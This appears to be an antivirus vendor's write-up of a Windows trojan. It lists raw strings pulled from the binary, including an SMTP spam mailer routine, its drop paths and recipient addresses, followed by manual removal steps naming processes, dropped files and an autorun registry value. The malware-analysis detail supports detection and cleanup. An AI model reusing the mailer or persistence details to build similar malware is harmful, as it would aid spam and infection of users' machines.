X509 CERTIFICATE

ECDH part of OpenSSL 0.9.8l 5 Nov 2009

pubkey

enc_key

key_enc_algor

cert

d.encrypted

d.digest

d.signed_and_enveloped

d.enveloped

d.sign

d.data

d.other

EC_PRIVATEKEY

publicKey

privateKey

value.implicitlyCA

value.parameters

value.named_curve

p.char_two

p.prime

p.ppBasis

p.tpBasis

p.onBasis

p.other

PKCS8_PRIV_KEY_INFO

pkey

pkeyalg

NETSCAPE_CERT_SEQUENCE

d.usernotice

d.cpsuri

CERTIFICATEPOLICIES

%*sExplicit Text: %s

%*sNumber%s:

%*sOrganization: %s

%*sCPS: %s

%d.%d.%d.%d

/usr/local/ssl/certs

/usr/local/ssl/cert.pem

SSL_CERT_DIR

SSL_CERT_FILE

<unsupported>

IP Address:%d.%d.%d.%d

URI:%s

DNS:%s

email:%s

EdiPartyName:<unsupported>

X400Name:<unsupported>

othername:<unsupported>

USER32.DLL

NETAPI32.DLL

KERNEL32.DLL

ADVAPI32.DLL

.\crypto\evp\evp_key.c

nkey <= EVP_MAX_KEY_LENGTH

%'%1$=%C%K%O%s%

.%.-.3.7.9.?.W.[.o.y.

C%C'C3C7C9COCWCiC

d:\libraries\openssl-0.9.8l\crypto\ec\ec2_smpt.c

%d.%d.%d.%d/%d.%d.%d.%d

%*s%s:

%*sPolicy Text: %s

%*scrlUrl:

EXTENDED_KEY_USAGE

%*sZone: %s, User:

certificateHold

Certificate Hold

cessationOfOperation

Cessation Of Operation

keyCompromise

Key Compromise

name.relativename

name.fullname

<UNSUPPORTED>

.\crypto\x509v3\v3_akey.c

PKEY_USAGE_PERIOD

keyCertSign

Certificate Sign

keyAgreement

Key Agreement

keyEncipherment

Key Encipherment

.\crypto\x509v3\v3_skey.c

.\crypto\asn1\x_pkey.c

\X

CONF part of OpenSSL 0.9.8l 5 Nov 2009

%s - d:d:d %d%s

- %-15s

'() ,-./:=?

error:lX:%s:%s:%s

%lu:%s:%s:%d:%s

Verifying - %s

CONF_def part of OpenSSL 0.9.8l 5 Nov 2009

[[%s]]

[%s] %s=%s

%s.dll

Visual C   CRT: Not enough memory to complete call to strerror.

Operation not permitted

Inappropriate I/O control operation

Broken pipe

MAIL FROM:<%s>

RCPT TO:<%s>

--%s--

LOGIN

AUTH LOGIN

%s^%s^%s

AUTH PLAIN %s

smtp/

charset=utf-8,username="%s"

,realm="%s"

,nonce="%s"

,nc=%s

,cnonce="%s"

,digest-uri="%s"

,response=%s

,qop=%s

----=_NextPart_000_000%d_%X.%X

Date: %s, %d %s %d %d:%d:%d

EHLO %s

PHACMD_ABORT_

undefined.zip

PHACMD_SKIP__ERROR

PHACMD_MESSAGE_SENT

PHACMD_ACCOUNT_STRING

INVALID_SMTP

PHACMD_PACKAGE_STRING

PHACMD_FROM_NAME

Z:\@proj\smtp_mailer\Release\smtp_mailer.pdb

KERNEL32.dll

WS2_32.dll

GetCPInfo

GetProcessHeap

USER32.dll

ReportEventA

ADVAPI32.dll

PeekNamedPipe

zcÁ

?456789:;<=

!"#$%&'()* ,-./0123

.?AVCSmtp@@

.?AVECSmtp@@

%System%\nkpkpudssleie\smtp\smtp_mailer.exe

Inappropriate I/O control opera

[email protected]

%System%\nkpkpudssleie\smtp\tmp\sbgtca.txt

%System%\nkpkpudssleie\smtp\tmp\24andrewson.zip

[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected]

pratesi.com

s.com

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

6 6$6(6,60646~7

3 3$3(3,3034383<3@3[6

;&;,;<;|;

9(:-:4:::

7t7U7\7

4E4F4`4r4

> >(>0>8>

6$6(6\6`6

; ;$;0;4;8;|;

3 3@3`3|3

Fmscoree.dll

kernel32.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

portuguese-brazilian

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   smtp_mailer.exe:1760
   ke7qslsbgtc2eo.exe:384
   ke7qslsbgtbteo.exe:1180
   zip.exe:1140
   zip.exe:1160
   zip.exe:1944
   zip.exe:1472
   zip.exe:260
   zip.exe:828
   zip.exe:412
   ke7qslsbgtbweo.exe:1132
   sbgtbveo.exe:1268
   sbgtbveo.exe:572
   sbgtbveo.exe:1088
   sbgtbveo.exe:1668
   sbgtbveo.exe:436
   sbgtbveo.exe:1868
   unzip.exe:656
   unzip.exe:1472
   ke7qsl3r0f2aeouizjy9l.exe:1772
   ke7qslsbgtc3eo.exe:508
   sbgtc5eo.exe:412
   qtvtnsadc.exe:628
   qtvtnsadc.exe:1748
   qtvtnsadc.exe:264
   win32blot2.exe:1920
   %original file name%.exe:188
   abhdqfjyr.exe:1364
   abhdqfjyr.exe:1656
   win32purst2.exe:1492
   ke7qslsbgtbueo.exe:1492
   ke7qslsbgtbueo.exe:460
   yac32sse41b.exe:1968

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %System%\nkpkpudssleie\tst (10 bytes)
   %System%\nkpkpudssleie\smtp\tmp\zia01140 (13096 bytes)
   %System%\nkpkpudssleie\smtp\tmp\zia01160 (13052 bytes)
   %System%\nkpkpudssleie\smtp\tmp\zia01944 (12866 bytes)
   %System%\nkpkpudssleie\smtp\tmp\zia01472 (13051 bytes)
   %System%\nkpkpudssleie\smtp\tmp\zia00260 (13040 bytes)
   %System%\nkpkpudssleie\smtp\tmp\zia00828 (13058 bytes)
   %System%\nkpkpudssleie\smtp\tmp\zia00412 (13076 bytes)
   %System%\nkpkpudssleie\smtp\tmp\cameron.exe (5506 bytes)
   %System%\nkpkpudssleie\smtp\tmp\justin.exe (5506 bytes)
   %System%\nkpkpudssleie\smtp\tmp\dyer.exe (5506 bytes)
   %System%\nkpkpudssleie\smtp\tmp\bill.exe (5506 bytes)
   %System%\nkpkpudssleie\smtp\tmp\corinne.exe (5506 bytes)
   %System%\nkpkpudssleie\smtp\tmp\pearlie.exe (5506 bytes)
   %System%\nkpkpudssleie\smtp\smtp_mailer.exe (5873 bytes)
   %System%\nkpkpudssleie\smtp\zip.exe (1425 bytes)
   %System%\p2p_04\yac\yac32avx10b.exe (601 bytes)
   %System%\p2p_04\win64\win64purst2.exe (673 bytes)
   %System%\p2p_04\yac\yac64sse41b.exe (673 bytes)
   %System%\p2p_04\yac\yac32sse41b.exe (601 bytes)
   %System%\p2p_04\win64\win64blot2.exe (673 bytes)
   %System%\p2p_04\yac\yac32fast.exe (601 bytes)
   %System%\p2p_04\yac\yac64fast.exe (673 bytes)
   %System%\p2p_04\yac\yac64avx10b.exe (673 bytes)
   %System%\p2p_04\yac\yac64sse20b.exe (673 bytes)
   %System%\p2p_04\yac\yac32sse20b.exe (601 bytes)
   %System%\p2p_04\win32\win32purst2.exe (673 bytes)
   %System%\p2p_04\win32\win32blot2.exe (673 bytes)
   %System%\abhdqfjyr.exe (7433 bytes)
   %System%\nkpkpudssleie\smtp\tmp\garnette.exe (3703 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ke7qsl3r0f2aeouizjy9l.exe (5442 bytes)
   %System%\nkpkpudssleie\smtp\tmp\sbgtc0.txt (342 bytes)
   %System%\nkpkpudssleie\run (10 bytes)
   %System%\p2p_04.zip (20060 bytes)
   %WinDir%\Temp\ke7qslsbgtbteo.exe (35 bytes)
   %System%\nkpkpudssleie\cfg (230 bytes)
   %System%\nkpkpudssleie\por (1 bytes)
   %System%\nkpkpudssleie\smtp\tmp\sbgtbx.txt (342 bytes)
   %System%\nkpkpudssleie\rng (92 bytes)
   %System%\unzip.exe (7100 bytes)
   %WinDir%\Temp\ke7qslsbgtc4eo.exe (1940 bytes)
   %System%\nkpkpudssleie\smtp\smtp_mailer.zip (15540 bytes)
   %System%\qtvtnsadc.exe (7433 bytes)
   %System%\nkpkpudssleie\smtp\tmp\sbgtbz.txt (342 bytes)
   %WinDir%\Temp\ke7qslsbgtbueo.exe (35 bytes)
   %WinDir%\Temp\ke7qslsbgtbweo.exe (2820 bytes)
   %WinDir%\Temp\sbgtbveo.exe (2820 bytes)
   %WinDir%\Temp\ke7qslsbgtc2eo.exe (7433 bytes)
   %WinDir%\Temp\sbgtc5eo.exe (2820 bytes)
   %System%\nkpkpudssleie\smtp\tmp\sbgtby.txt (340 bytes)
   %WinDir%\Temp\ke7qslsbgtc3eo.exe (35 bytes)
   %System%\nkpkpudssleie\smtp\tmp\sbgtc1.txt (340 bytes)
   

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "Discovery Removal BranchCache" = "%System%\abhdqfjyr.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.